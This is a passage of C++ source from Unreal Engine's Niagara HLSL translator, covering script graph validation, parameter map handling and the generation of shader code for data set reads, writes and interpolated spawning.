Error(LOCTEXT("GetGraphFail", "Cannot find graph node!"), nullptr, nullptr);
return TranslateResults;
}
if (SourceGraph->IsEmpty())
{
if (Script->IsSystemSpawnScript() || Script->IsSystemUpdateScript())
{
Error(LOCTEXT("GetNoNodeSystemFail", "Graph contains no nodes! Please add an emitter."), nullptr, nullptr);
}
else
{
Error(LOCTEXT("GetNoNodeFail", "Graph contains no nodes! Please add an output node."), nullptr, nullptr);
}
return TranslateResults;
}
// Find the output node and compile it.
UNiagaraNodeOutput* OutputNode = SourceGraph->FindOutputNode(GetTargetUsage(), GetTargetOccurrence());
if (OutputNode == nullptr)
{
Error(FText::Format(LOCTEXT("GetOutputNodeFail", "Cannot find output node of type {0}!"), FText::AsNumber((int32)GetTargetUsage())), nullptr, nullptr);
return TranslateResults;
}
ValidateTypePins(OutputNode);
{
bool bHasAnyConnections = false;
for (int32 PinIdx = 0; PinIdx < OutputNode->Pins.Num(); PinIdx++)
{
if (OutputNode->Pins[PinIdx]->Direction == EEdGraphPinDirection::EGPD_Input && OutputNode->Pins[PinIdx]->LinkedTo.Num() != 0)
{
bHasAnyConnections = true;
}
}
if (!bHasAnyConnections)
{
Error(FText::Format(LOCTEXT("GetOutputNodeConnectivityFail", "Cannot find any connections to output node of type {0}!"), FText::AsNumber((int32)GetTargetUsage())), nullptr, nullptr);
return TranslateResults;
}
}
// Build up a traversal from the output pin that touches all the parameter maps we might encounter, using the histories we build below.
ParamMapHistories.Empty();
ParamMapSetVariablesToChunks.Empty();
TArray<UNiagaraNodeOutput*> UsageOutputs;
if (Script->IsInterpolatedParticleSpawnScript())
{
UsageOutputs.Add(OutputNode);
UsageOutputs.Add(SourceGraph->FindOutputNode(ENiagaraScriptUsage::ParticleUpdateScript));
ParamMapHistories.AddDefaulted(2);
ParamMapSetVariablesToChunks.AddDefaulted(2);
}
else
{
UsageOutputs.Add(OutputNode);
ParamMapHistories.AddDefaulted(1);
ParamMapSetVariablesToChunks.AddDefaulted(1);
}
// Get all the parameter map histories traced to this graph from output nodes. We'll revisit this shortly in order to build out just the ones we care about for this translation.
check(Script->GetSource()->IsPreCompiled());
UNiagaraScriptSource* ScriptSource = Cast<UNiagaraScriptSource>(Script->GetSource());
OtherOutputParamMapHistories = ScriptSource->GetPrecomputedHistories();
for (FNiagaraParameterMapHistory& FoundHistory : OtherOutputParamMapHistories)
{
const UNiagaraNodeOutput* HistoryOutputNode = FoundHistory.GetFinalOutputNode();
if (HistoryOutputNode != nullptr && !ShouldConsiderTargetParameterMap(HistoryOutputNode->GetUsage()))
{
continue;
}
// Now see if we want to use any of these specifically..
for (int32 ParamMapIdx = 0; ParamMapIdx < UsageOutputs.Num(); ParamMapIdx++)
{
UNiagaraNodeOutput* TargetOutputNode = UsageOutputs[ParamMapIdx];
if (FoundHistory.GetFinalOutputNode() == TargetOutputNode)
{
ParamMapHistories[ParamMapIdx] = (FoundHistory);
TArray<int32> Entries;
Entries.AddZeroed(FoundHistory.Variables.Num());
for (int32 i = 0; i < Entries.Num(); i++)
{
Entries[i] = INDEX_NONE;
}
ParamMapSetVariablesToChunks[ParamMapIdx] = (Entries);
}
}
}
//Create main scope pin cache.
PinToCodeChunks.AddDefaulted(1);
ActiveHistoryForFunctionCalls.BeginTranslation(InScript);
Script->StatScopes.Empty();
EnterStatsScope(FNiagaraStatScope(*Script->GetFullName(), FText::FromString(Script->GetFullName())));
Script->ParameterCollections.Empty();
FHlslNiagaraTranslator* ThisTranslator = this;
TArray<int32> OutputChunks;
if (Script->IsInterpolatedParticleSpawnScript())
{
//Here we compile the spawn script but write to temporary outputs in the context.
AddBodyChunk(TEXT(""), TEXT("//Interpolated Spawn Script!"), FNiagaraTypeDefinition::GetIntDef(), false, false);
AddBodyChunk(TEXT(""), TEXT("//Begin Spawn Script!"), FNiagaraTypeDefinition::GetIntDef(), false, false);
bInsideInterpolatedSpawnScript = true;
CurrentParamMapIndices.Empty();
CurrentParamMapIndices.Add(0);
OutputNode->Compile(ThisTranslator, OutputChunks);
bInsideInterpolatedSpawnScript = false;
InstanceWrite = FDataSetAccessInfo(); // Reset after building the output..
AddBodyChunk(TEXT(""), TEXT("//End Spawn Script!\n\n"), FNiagaraTypeDefinition::GetIntDef(), false, false);
AddBodyChunk(TEXT(""), TEXT("//Begin Transfer of Attributes!"), FNiagaraTypeDefinition::GetIntDef(), false, false);
AddBodyChunk(TEXT(""), TEXT("Context.MapUpdate.Particles = Context.MapSpawn.Particles"), FNiagaraTypeDefinition::GetIntDef(), false, true);
AddBodyChunk(TEXT(""), TEXT("//End Transfer of Attributes!\n\n"), FNiagaraTypeDefinition::GetIntDef(), false, false);
AddBodyChunk(TEXT(""), TEXT("HandleMissingDefaultValues(Context);"), FNiagaraTypeDefinition::GetIntDef(), false, false);
AddBodyChunk(TEXT(""), TEXT("//Begin Update Script!"), FNiagaraTypeDefinition::GetIntDef(), false, false);
//Now we compile the update script (with partial dt) and read from the temp values written above.
UNiagaraNodeOutput* UpdateOutputNode = SourceGraph->FindOutputNode(ENiagaraScriptUsage::ParticleUpdateScript);
check(UpdateOutputNode);
CurrentParamMapIndices.Empty();
CurrentParamMapIndices.Add(1);
UpdateOutputNode->Compile(ThisTranslator, OutputChunks);
AddBodyChunk(TEXT(""), TEXT("//End Update Script!\n\n"), FNiagaraTypeDefinition::GetIntDef(), false, false);
}
else
{
CurrentParamMapIndices.Empty();
CurrentParamMapIndices.Add(0);
OutputNode->Compile(ThisTranslator, OutputChunks);
if (Script->IsParticleSpawnScript() || Script->IsSystemSpawnScript())
{
AddBodyChunk(TEXT(""), TEXT("HandleMissingDefaultValues(Context);"), FNiagaraTypeDefinition::GetIntDef(), false, false);
}
}
CurrentParamMapIndices.Empty();
ExitStatsScope();
ActiveHistoryForFunctionCalls.EndTranslation(Script);
TranslateResults.bHLSLGenSucceeded = MessageLog.NumErrors == 0;
//If we're compiling a function then we have all we need already, we don't want to actually generate shader/vm code.
if (FunctionCtx())
return TranslateResults;
//Now evaluate all the code chunks to generate the shader code.
//FString HlslOutput;
if (TranslateResults.bHLSLGenSucceeded)
{
//TODO: Declare all used structures up here too.
InScript->ReadDataSets.Empty();
InScript->WriteDataSets.Empty();
//Generate function definitions
FString FunctionDefinitionString = GetFunctionDefinitions();
FunctionDefinitionString += TEXT("\n");
if (Script->IsInterpolatedParticleSpawnScript())
{
//ensure the interpolated spawn constants are part of the parameter set.
int32 OutputIdx = 0;
ParameterMapRegisterExternalConstantNamespaceVariable(SYS_PARAM_ENGINE_DELTA_TIME, nullptr, 0, OutputIdx, nullptr);
ParameterMapRegisterExternalConstantNamespaceVariable(SYS_PARAM_ENGINE_INV_DELTA_TIME, nullptr, 0, OutputIdx, nullptr);
ParameterMapRegisterExternalConstantNamespaceVariable(SYS_PARAM_ENGINE_EXEC_COUNT, nullptr, 0, OutputIdx, nullptr);
ParameterMapRegisterExternalConstantNamespaceVariable(SYS_PARAM_EMITTER_SPAWNRATE, nullptr, 0, OutputIdx, nullptr);
ParameterMapRegisterExternalConstantNamespaceVariable(SYS_PARAM_EMITTER_SPAWN_INTERVAL, nullptr, 0, OutputIdx, nullptr);
ParameterMapRegisterExternalConstantNamespaceVariable(SYS_PARAM_EMITTER_INTERP_SPAWN_START_DT, nullptr, 0, OutputIdx, nullptr);
}
// Generate the Parameter Map HLSL definitions. We don't add to the final HLSL output here. We just build up the strings and tables
// that are needed later.
TArray<FNiagaraVariable> PrimaryDataSetOutputEntries;
TArray<TPair<FNiagaraVariable, const UEdGraphPin*> > MissingDefaultValues;
FString ParameterMapDefinitionStr = BuildParameterMapHlslDefinitions(PrimaryDataSetOutputEntries, MissingDefaultValues);
for (FNiagaraTypeDefinition Type : StructsToDefine)
{
HlslOutput += BuildHLSLStructDecl(Type);
}
//Declare parameters.
//TODO: Separate Cbuffer for Global, System and Emitter parameters.
{
HlslOutput += TEXT("cbuffer FEmitterParameters\n{\n");
for (int32 i = 0; i < ChunksByMode[(int32)ENiagaraCodeChunkMode::Uniform].Num(); ++i)
{
FNiagaraCodeChunk& Chunk = CodeChunks[ChunksByMode[(int32)ENiagaraCodeChunkMode::Uniform][i]];
HlslOutput += TEXT("\t") + GetCode(ChunksByMode[(int32)ENiagaraCodeChunkMode::Uniform][i]);
}
if (Script->IsInterpolatedParticleSpawnScript())
{
//Define the params from the previous frame after the main parameters.
for (int32 i = 0; i < ChunksByMode[(int32)ENiagaraCodeChunkMode::Uniform].Num(); ++i)
{
//Copy the chunk so we can fiddle it's symbol name.
FNiagaraCodeChunk Chunk = CodeChunks[ChunksByMode[(int32)ENiagaraCodeChunkMode::Uniform][i]];
Chunk.SymbolName = TEXT("PREV__") + Chunk.SymbolName;
HlslOutput += TEXT("\t") + GetCode(Chunk);
}
}
HlslOutput += TEXT("}\n\n");
}
WriteDataSetStructDeclarations(DataSetReadInfo[0], true, HlslOutput);
WriteDataSetStructDeclarations(DataSetWriteInfo[0], false, HlslOutput);
//Map of all variables accessed by all datasets.
TMap<FNiagaraDataSetID, TArray<FNiagaraVariable>> DataSetReads;
TMap<FNiagaraDataSetID, TArray<FNiagaraVariable>> DataSetWrites;
TArray<TArray<FNiagaraVariable>* > DataSetReadVars;
TArray<TArray<FNiagaraVariable>* > DataSetWriteVars;
TArray<FNiagaraDataSetID> DataSetReadIds;
TArray<FNiagaraDataSetID> DataSetWriteIds;
TArray<FNiagaraVariable>& InstanceReadVars = DataSetReads.Add(GetInstanceDataSetID());
TArray<FNiagaraVariable>& InstanceWriteVars = DataSetWrites.Add(GetInstanceDataSetID());
DataSetReadVars.Add(&InstanceReadVars);
DataSetReadIds.Add(GetInstanceDataSetID());
DataSetWriteVars.Add(&InstanceWriteVars);
DataSetWriteIds.Add(GetInstanceDataSetID());
if (IsBulkSystemScript())
{
TArray<FNiagaraVariable>& SystemEngineReadVars = DataSetReads.Add(GetSystemEngineDataSetID());
//TArray<FNiagaraVariable>& SystemUserReadVars = DataSetReads.Add(GetSystemUserDataSetID());
DataSetReadVars.Add(&SystemEngineReadVars);
//DataSetReadVars.Add(&SystemUserReadVars);
DataSetReadIds.Add(GetSystemEngineDataSetID());
//DataSetReadIds.Add(GetSystemUserDataSetID());
HandleNamespacedExternalVariablesToDataSetRead(SystemEngineReadVars, TEXT("Engine"));
HandleNamespacedExternalVariablesToDataSetRead(SystemEngineReadVars/*SystemUserReadVars*/, TEXT("User"));
// We sort the variables so that they end up in the same ordering between Spawn & Update...
SystemEngineReadVars.Sort([&](const FNiagaraVariable& A, const FNiagaraVariable& B)
{
return A.GetName() < B.GetName();
});
// We sort the variables so that they end up in the same ordering between Spawn & Update...
/*SystemUserReadVars.Sort([&](const FNiagaraVariable& A, const FNiagaraVariable& B)
{
return A.GetName() < B.GetName();
});*/
FNiagaraParameters ExternalParams;
ExternalParams.Parameters = SystemEngineReadVars;
Script->DataSetToParameters.Add(GetSystemEngineDataSetID().Name, ExternalParams);
}
// Now we pull in the HLSL generated above by building the parameter map definitions..
HlslOutput += ParameterMapDefinitionStr;
// Gather up all the unique Attribute variables that we generated.
TArray<FNiagaraVariable> BasicAttributes;
for (FNiagaraVariable& Var : InstanceRead.Variables)
{
if (Var.GetType().GetClass() != nullptr)
{
continue;
}
BasicAttributes.AddUnique(Var);
}
for (FNiagaraVariable& Var : InstanceWrite.Variables)
{
if (Var.GetType().GetClass() != nullptr)
{
continue;
}
else if (Var.GetType() != FNiagaraTypeDefinition::GetParameterMapDef())
{
BasicAttributes.AddUnique(Var);
}
else
{
for (FNiagaraVariable& ParamMapVar : PrimaryDataSetOutputEntries)
{
BasicAttributes.AddUnique(ParamMapVar);
}
}
}
InstanceReadVars = BasicAttributes;
InstanceWriteVars = BasicAttributes;
// We sort the variables so that they end up in the same ordering between Spawn & Update...
InstanceReadVars.Sort([&](const FNiagaraVariable& A, const FNiagaraVariable& B)
{
return A.GetName() < B.GetName();
});
// We sort the variables so that they end up in the same ordering between Spawn & Update...
InstanceWriteVars.Sort([&](const FNiagaraVariable& A, const FNiagaraVariable& B)
{
return A.GetName() < B.GetName();
});
//Define the simulation context. Which is a helper struct containing all the input, result and intermediate data needed for a single simulation.
//Allows us to reuse the same simulate function but provide different wrappers for final IO between GPU and CPU sims.
{
HlslOutput += TEXT("struct FSimulationContext") TEXT("\n{\n");
// We need to reserve a place in the simulation context for the base Parameter Map.
if (PrimaryDataSetOutputEntries.Num() != 0 || ParamMapDefinedSystemToNamespaceVars.Num() != 0 || ParamMapDefinedEmitterParameterToNamespaceVars.Num() != 0 || (ParamMapSetVariablesToChunks.Num() != 0 && ParamMapSetVariablesToChunks[0].Num() > 0))
{
if (Script->IsInterpolatedParticleSpawnScript())
{
HlslOutput += TEXT("\tFParamMap0 MapSpawn;\n");
HlslOutput += TEXT("\tFParamMap0 MapUpdate;\n");
}
else
{
HlslOutput += TEXT("\tFParamMap0 Map;\n");
}
}
WriteDataSetContextVars(DataSetReadInfo[0], true, HlslOutput);
WriteDataSetContextVars(DataSetWriteInfo[0], false, HlslOutput);
HlslOutput += TEXT("};\n\n");
}
HlslOutput += FunctionDefinitionString;
TArray<int32> WriteConditionVars;
// copy the accessed data sets over to the script, so we can grab them during sim
for (TPair <FNiagaraDataSetID, TMap<int32, FDataSetAccessInfo>> InfoPair : DataSetReadInfo[0])
{
Script->ReadDataSets.Add(InfoPair.Key);
}
for (TPair <FNiagaraDataSetID, TMap<int32, FDataSetAccessInfo>> InfoPair : DataSetWriteInfo[0])
{
FNiagaraDataSetProperties SetProps;
SetProps.ID = InfoPair.Key;
for (TPair <int32, FDataSetAccessInfo> IndexPair : InfoPair.Value)
{
SetProps.Variables = IndexPair.Value.Variables;
}
Script->WriteDataSets.Add(SetProps);
int32* ConditionalWriteChunkIdxPtr = DataSetWriteConditionalInfo[0].Find(InfoPair.Key);
if (ConditionalWriteChunkIdxPtr == nullptr)
{
WriteConditionVars.Add(INDEX_NONE);
}
else
{
WriteConditionVars.Add(*ConditionalWriteChunkIdxPtr);
}
}
DefineInterpolatedParametersFunction(HlslOutput);
if (Script->IsParticleSpawnScript() || Script->IsInterpolatedParticleSpawnScript() || Script->IsSystemSpawnScript())
{
HlslOutput += BuildMissingDefaults(MissingDefaultValues);
}
// define functions for reading and writing all secondary data sets
DefineDataSetReadFunction(HlslOutput, InScript->ReadDataSets);
DefineDataSetWriteFunction(HlslOutput, InScript->WriteDataSets, WriteConditionVars);
//Define the shared per instance simulation function
{
HlslOutput += TEXT("void Simulate(inout FSimulationContext Context)\n{\n");
for (int32 i = 0; i < ChunksByMode[(int32)ENiagaraCodeChunkMode::Body].Num(); ++i)
{
HlslOutput += GetCode(ChunksByMode[(int32)ENiagaraCodeChunkMode::Body][i]);
}
HlslOutput += TEXT("}\n");
}
if (Options.SimTarget == ENiagaraSimTarget::GPUComputeSim)
{
FString DataInterfaceHLSL;
DefineDataInterfaceHLSL(DataInterfaceHLSL);
HlslOutput += DataInterfaceHLSL;
}
//And finally, define the actual main function that handles the reading and writing of data and calls the shared per instance simulate function.
//TODO: Different wrappers for GPU and CPU sims.
DefineMain(HlslOutput, DataSetReadVars, DataSetReadIds, DataSetWriteVars, DataSetWriteIds);
//Get full list of instance data accessed by the script as the VM binding assumes same for input and output.
for (FNiagaraVariable& Var : InstanceReadVars)
{
if (FNiagaraParameterMapHistory::IsAttribute(Var))
{
FNiagaraVariable BasicAttribVar = FNiagaraParameterMapHistory::ResolveAsBasicAttribute(Var);
CompilationOutput.Attributes.AddUnique(BasicAttribVar);
}
else
{
CompilationOutput.Attributes.AddUnique(Var);
}
}
CompilationOutput.bReadsAttributeData = InstanceRead.Variables.Num() != 0;
TranslateResults.OutputHLSL = HlslOutput;
}
return TranslateResults;
}
void FHlslNiagaraTranslator::GatherVariableForDataSetAccess(const FNiagaraVariable& Var, FString Format, int32& Counter, int32 DataSetIndex, FString InstanceIdxSymbol, FString &HlslOutputString)
{
TArray<FString> Components;
const UScriptStruct* Struct = Var.GetType().GetScriptStruct();
check(Struct);
TArray<ENiagaraBaseTypes> Types;
GatherComponentsForDataSetAccess(Struct, TEXT(""), false, Components, Types);
//Add floats and then ints to hlsl
TArray<FStringFormatArg> FormatArgs;
FormatArgs.Empty(5);
FormatArgs.Add(TEXT(""));//We'll set the var name below.
FormatArgs.Add(TEXT(""));//We'll set the type name below.
// none for the output op (data set comes from acquireindex op)
if (DataSetIndex != INDEX_NONE)
{
FormatArgs.Add(DataSetIndex);
}
int32 RegIdx = FormatArgs.Add(0);
if (!InstanceIdxSymbol.IsEmpty())
{
FormatArgs.Add(InstanceIdxSymbol);
}
int32 DefaultIdx = FormatArgs.Add(0);
check(Components.Num() == Types.Num());
for (int32 CompIdx = 0; CompIdx < Components.Num(); ++CompIdx)
{
if (Types[CompIdx] == NBT_Float)
{
FormatArgs[1] = TEXT("Float");
FormatArgs[DefaultIdx] = TEXT("0.0f");
}
else if (Types[CompIdx] == NBT_Int32)
{
FormatArgs[1] = TEXT("Int");
FormatArgs[DefaultIdx] = TEXT("0");
}
else
{
check(Types[CompIdx] == NBT_Bool);
FormatArgs[1] = TEXT("Bool");
FormatArgs[DefaultIdx] = TEXT("false");
}
FormatArgs[0] = Components[CompIdx];
FormatArgs[RegIdx] = Counter++;
HlslOutputString += FString::Format(*Format, FormatArgs);
}
}
void FHlslNiagaraTranslator::GatherComponentsForDataSetAccess(const UScriptStruct* Struct, FString VariableSymbol, bool bMatrixRoot, TArray<FString>& Components, TArray<ENiagaraBaseTypes>& Types)
{
bool bIsVector = IsHlslBuiltinVector(FNiagaraTypeDefinition(Struct));
bool bIsScalar = FNiagaraTypeDefinition::IsScalarDefinition(Struct);
bool bIsMatrix = FNiagaraTypeDefinition(Struct) == FNiagaraTypeDefinition::GetMatrix4Def();
if (bIsMatrix)
{
bMatrixRoot = true;
}
//Bools are an awkward special case. TODO: make neater.
if (FNiagaraTypeDefinition(Struct) == FNiagaraTypeDefinition::GetBoolDef())
{
Types.Add(ENiagaraBaseTypes::NBT_Bool);
Components.Add(VariableSymbol);
return;
}
for (TFieldIterator<const UProperty> PropertyIt(Struct, EFieldIteratorFlags::IncludeSuper); PropertyIt; ++PropertyIt)
{
const UProperty* Property = *PropertyIt;
if (const UStructProperty* StructProp = Cast<const UStructProperty>(Property))
{
if (bMatrixRoot && FNiagaraTypeDefinition(StructProp->Struct) == FNiagaraTypeDefinition::GetFloatDef())
{
GatherComponentsForDataSetAccess(StructProp->Struct, VariableSymbol + ComputeMatrixColumnAccess(Property->GetName()), bMatrixRoot, Components, Types);
}
else if (bMatrixRoot && FNiagaraTypeDefinition(StructProp->Struct) == FNiagaraTypeDefinition::GetVec4Def())
{
GatherComponentsForDataSetAccess(StructProp->Struct, VariableSymbol + ComputeMatrixRowAccess(Property->GetName()), bMatrixRoot, Components, Types);
}
else
{
GatherComponentsForDataSetAccess(StructProp->Struct, VariableSymbol + TEXT(".") + Property->GetName(), bMatrixRoot, Components, Types);
}
}
else
{
FString VarName = VariableSymbol;
if (bMatrixRoot)
{
if (bIsVector && Property->IsA(UFloatProperty::StaticClass())) // Parent is a vector type, we are a float type
{
VarName += ComputeMatrixColumnAccess(Property->GetName());
}
}
else if (!bIsScalar)
{
VarName += TEXT(".");
VarName += bIsVector ? Property->GetName().ToLower() : Property->GetName();
}
if (Property->IsA(UFloatProperty::StaticClass()))
{
Types.Add(ENiagaraBaseTypes::NBT_Float);
Components.Add(VarName);
}
else if (Property->IsA(UIntProperty::StaticClass()))
{
Types.Add(ENiagaraBaseTypes::NBT_Int32);
Components.Add(VarName);
}
else if (Property->IsA(UBoolProperty::StaticClass()))
{
Types.Add(ENiagaraBaseTypes::NBT_Bool);
Components.Add(VarName);
}
}
}
}
void FHlslNiagaraTranslator::DefineInterpolatedParametersFunction(FString &HlslOutputString)
{
// temporarily not doing this for GPU sim; interpolated spawn doesn't work there
if (Script->IsInterpolatedParticleSpawnScript())
{
FString Emitter_InterpSpawnStartDt = GetSanitizedSymbolName(ActiveHistoryForFunctionCalls.ResolveAliases(SYS_PARAM_EMITTER_INTERP_SPAWN_START_DT).GetName().ToString());
Emitter_InterpSpawnStartDt = Emitter_InterpSpawnStartDt.Replace(TEXT("."), TEXT("_"));//TODO: This should be rolled into GetSanitisedSymbolName but currently some usages require the '.' intact. Fix those up!.
FString Emitter_SpawnInterval = GetSanitizedSymbolName(ActiveHistoryForFunctionCalls.ResolveAliases(SYS_PARAM_EMITTER_SPAWN_INTERVAL).GetName().ToString());
Emitter_SpawnInterval = Emitter_SpawnInterval.Replace(TEXT("."), TEXT("_"));//TODO: This should be rolled into GetSanitisedSymbolName but currently some usages require the '.' intact. Fix those up!.
HlslOutputString += TEXT("void InterpolateParameters(inout FSimulationContext Context)\n{\n");
// TODO: GPU interpolated spawning
if (CompilationTarget != ENiagaraSimTarget::GPUComputeSim)
{
HlslOutputString += TEXT("\tint InterpSpawn_Index = ExecIndex();\n");
HlslOutputString += TEXT("\tfloat InterpSpawn_SpawnTime = ") + Emitter_InterpSpawnStartDt + TEXT(" + (") + Emitter_SpawnInterval + TEXT(" * InterpSpawn_Index);\n");
HlslOutputString += TEXT("\tfloat InterpSpawn_UpdateTime = Engine_DeltaTime - InterpSpawn_SpawnTime;\n");
HlslOutputString += TEXT("\tfloat InterpSpawn_InvSpawnTime = 1.0 / InterpSpawn_SpawnTime;\n");
HlslOutputString += TEXT("\tfloat InterpSpawn_InvUpdateTime = 1.0 / InterpSpawn_UpdateTime;\n");
HlslOutputString += TEXT("\tfloat SpawnInterp = InterpSpawn_SpawnTime * Engine_InverseDeltaTime ;\n");
for (int32 i = 0; i < ChunksByMode[(int32)ENiagaraCodeChunkMode::Uniform].Num(); ++i)
{
int32 UniformIdx = ChunksByMode[(int32)ENiagaraCodeChunkMode::Uniform][i];
if (UniformIdx != INDEX_NONE)
{
FNiagaraVariable* FoundNamespacedVar = nullptr;
const FName* FoundSystemKey = ParamMapDefinedSystemVarsToUniformChunks.FindKey(UniformIdx);
// This uniform was either an emitter uniform parameter or a system uniform parameter. Search our maps to find out which one it was
// so that we can properly deal with accessors.
if (FoundSystemKey != nullptr)
{
FoundNamespacedVar = ParamMapDefinedSystemToNamespaceVars.Find(*FoundSystemKey);
}
/*else
{
const FName* FoundEmitterParameterKey = ParamMapDefinedEmitterParameterVarsToUniformChunks.FindKey(UniformIdx);
if (FoundEmitterParameterKey != nullptr)
{
FoundNamespacedVar = ParamMapDefinedEmitterParameterToNamespaceVars.Find(*FoundEmitterParameterKey);
}
}*/
if (FoundNamespacedVar != nullptr)
{
FString FoundName = FoundNamespacedVar->GetName().ToString();
FNiagaraCodeChunk& Chunk = CodeChunks[UniformIdx];
HlslOutputString += TEXT("\tContext.MapSpawn.") + FoundName + TEXT(" = lerp(PREV__") + Chunk.SymbolName + TEXT(", ") + Chunk.SymbolName + TEXT(", SpawnInterp);\n");
}
}
}
HlslOutputString += TEXT("\tContext.MapSpawn.Engine.DeltaTime = 0.0f;\n");
HlslOutputString += TEXT("\tContext.MapSpawn.Engine.InverseDeltaTime = 0.0f;\n");
HlslOutputString += TEXT("\tContext.MapUpdate.Engine.DeltaTime = InterpSpawn_UpdateTime;\n");
HlslOutputString += TEXT("\tContext.MapUpdate.Engine.InverseDeltaTime = InterpSpawn_InvUpdateTime;\n");
}
HlslOutputString += TEXT("}\n\n");
}
}
void FHlslNiagaraTranslator::DefineDataSetReadFunction(FString &HlslOutputString, TArray<FNiagaraDataSetID> &ReadDataSets)
{
if (Script->IsParticleEventScript() && CompilationTarget == ENiagaraSimTarget::GPUComputeSim)
{
HlslOutputString += TEXT("void ReadDataSets(inout FSimulationContext Context, int SetInstanceIndex)\n{\n");
}
else
{
HlslOutputString += TEXT("void ReadDataSets(inout FSimulationContext Context)\n{\n");
}
// We shouldn't read anything in a Spawn Script!
if (Script->IsParticleSpawnScript())
{
HlslOutputString += TEXT("}\n\n");
return;
}
for (TPair<FNiagaraDataSetID, TMap<int32, FDataSetAccessInfo>>& DataSetInfoPair : DataSetReadInfo[0])
{
FNiagaraDataSetID DataSet = DataSetInfoPair.Key;
int32 OffsetCounter = 0;
int32 DataSetIndex = 1;
for (TPair<int32, FDataSetAccessInfo>& IndexInfoPair : DataSetInfoPair.Value)
{
FString Symbol = FString("\tContext.") + DataSet.Name.ToString() + "Read."; // TODO: HACK - need to get the real symbol name here
FString SetIdx = FString::FromInt(DataSetIndex);
FString DataSetComponentBufferSize = "DSComponentBufferSizeRead{1}" + SetIdx;
if (CompilationTarget == ENiagaraSimTarget::GPUComputeSim)
{
for (FNiagaraVariable &Var : IndexInfoPair.Value.Variables)
{
// TODO: temp = should really generate output functions for each set
FString Fmt = Symbol + Var.GetName().ToString() + FString(TEXT("{0} = ReadDataSet{1}")) + SetIdx + TEXT("[{2}*") + DataSetComponentBufferSize + " + SetInstanceIndex];\n";
GatherVariableForDataSetAccess(Var, Fmt, OffsetCounter, -1, TEXT(""), HlslOutputString);
}
}
else
{
for (FNiagaraVariable &Var : IndexInfoPair.Value.Variables)
{
// TODO: currently always emitting a non-advancing read, needs to be changed for some of the use cases
FString Fmt = TEXT("\tContext.") + DataSet.Name.ToString() + "Read." + Var.GetName().ToString() + TEXT("{0} = InputDataNoadvance{1}({2}, {3});\n");
GatherVariableForDataSetAccess(Var, Fmt, OffsetCounter, DataSetIndex, TEXT(""), HlslOutputString);
}
}
}
}
HlslOutputString += TEXT("}\n\n");
}
void FHlslNiagaraTranslator::DefineDataSetWriteFunction(FString &HlslOutputString, TArray<FNiagaraDataSetProperties> &WriteDataSets, TArray<int32>& WriteConditionVarIndices)
{
HlslOutputString += TEXT("void WriteDataSets(inout FSimulationContext Context)\n{\n");
for (TPair<FNiagaraDataSetID, TMap<int32, FDataSetAccessInfo>>& DataSetInfoPair : DataSetWriteInfo[0])
{
FNiagaraDataSetID DataSet = DataSetInfoPair.Key;
int32 OffsetCounter = 0;
int32 DataSetIndex = 1;
HlslOutputString += "\tint TmpWriteIndex;\n";
int32* ConditionalWriteIdxPtr = DataSetWriteConditionalInfo[0].Find(DataSet);
if (nullptr == ConditionalWriteIdxPtr || INDEX_NONE == *ConditionalWriteIdxPtr)
{
HlslOutputString += "\tbool bValid = true;\n";
}
else
{
HlslOutputString += "\tbool bValid = " + FString("Context.") + DataSet.Name.ToString() + "Write_Valid;\n";
}
int32 WriteOffset = 0;
// grab the current ouput index; currently pass true, but should use an arbitrary bool to determine whether write should happen or not
HlslOutputString += "\tTmpWriteIndex = AcquireIndex(1, bValid);\n";
HlslOutputString += CompilationTarget==ENiagaraSimTarget::GPUComputeSim ? "\tif(TmpWriteIndex>=0)\n\t{\n" : "";
for (TPair<int32, FDataSetAccessInfo>& IndexInfoPair : DataSetInfoPair.Value)
{
FString Symbol = FString("Context.") + DataSet.Name.ToString() + "Write"; // TODO: HACK - need to get the real symbol name here
if (CompilationTarget == ENiagaraSimTarget::GPUComputeSim)
{
FString SetIdx = FString::FromInt(DataSetIndex);
FString DataSetComponentBufferSize = "DSComponentBufferSizeWrite{1}" + SetIdx;
for (FNiagaraVariable &Var : IndexInfoPair.Value.Variables)
{
// TODO: temp = should really generate output functions for each set
FString Fmt = FString(TEXT("\t\tRWWriteDataSet{1}")) + SetIdx + TEXT("[{2}*") + DataSetComponentBufferSize + TEXT(" + {3}] = ") + Symbol + TEXT(".") + Var.GetName().ToString() + TEXT("{0};\n");
GatherVariableForDataSetAccess(Var, Fmt, WriteOffset, -1, TEXT("TmpWriteIndex"), HlslOutputString);
}
}
else
{
for (FNiagaraVariable &Var : IndexInfoPair.Value.Variables)
{
// TODO: data set index is always 1; need to increase each set
FString Fmt = TEXT("\t\tOutputData{1}(1, {2}, {3}, ") + Symbol + "." + Var.GetName().ToString() + TEXT("{0});\n");
GatherVariableForDataSetAccess(Var, Fmt, WriteOffset, -1, TEXT("TmpWriteIndex"), HlslOutputString);
}
}
}
HlslOutputString += CompilationTarget == ENiagaraSimTarget::GPUComputeSim ? "\t}\n" : "";
DataSetIndex++;
}
HlslOutput += TEXT("}\n\n");
}
void FHlslNiagaraTranslator::DefineDataInterfaceHLSL(FString &InHlslOutput)
{
FString InterfaceUniformHLSL;
FString InterfaceFunctionHLSL;
TArray<FString> BufferParamNames;
for (uint32 i = 0; i < 32; i++)
{
BufferParamNames.Add( TEXT("DataInterfaceBuffer_") + FString::FromInt(i) );
}
uint32 CurBufferIndex = 0;
for (int32 i = 0; i < CompilationOutput.DataInterfaceInfo.Num(); i++)
{
FNiagaraScriptDataInterfaceInfo &Info = CompilationOutput.DataInterfaceInfo[i];
if (Info.DataInterface->CanExecuteOnTarget(ENiagaraSimTarget::GPUComputeSim))
{
TArray<FNiagaraFunctionSignature> DataInterfaceFunctions;
Info.DataInterface->GetFunctions(DataInterfaceFunctions);
FString OwnerIDString = Info.Name.ToString();
// grab the buffer definition from the interface
//
int32 NewIdx = DIBufferDescriptors.AddDefaulted(1);
Info.DataInterface->GetBufferDefinitionHLSL(OwnerIDString, DIBufferDescriptors[NewIdx], InterfaceUniformHLSL);
// grab the function hlsl from the interface
//
for (int32 FuncIdx = 0; FuncIdx < DataInterfaceFunctions.Num(); FuncIdx++)
{
FNiagaraFunctionSignature Sig = DataInterfaceFunctions[FuncIdx]; // make a copy so we can modify the owner id and get the correct hlsl signature
Sig.OwnerName = Info.Name;
FString DefStr = GetFunctionSignatureSymbol(Sig);
ensure(Info.DataInterface->GetFunctionHLSL(DefStr, DIBufferDescriptors[NewIdx], OwnerIDString, InterfaceFunctionHLSL) == true);
}
}
else
{
Error(FText::Format(LOCTEXT("NonGPUDataInterfaceError", "DataInterface {0} ({1}) cannot run on the GPU."), FText::FromName(Info.Name), FText::FromString(Info.DataInterface->GetClass()->GetName()))
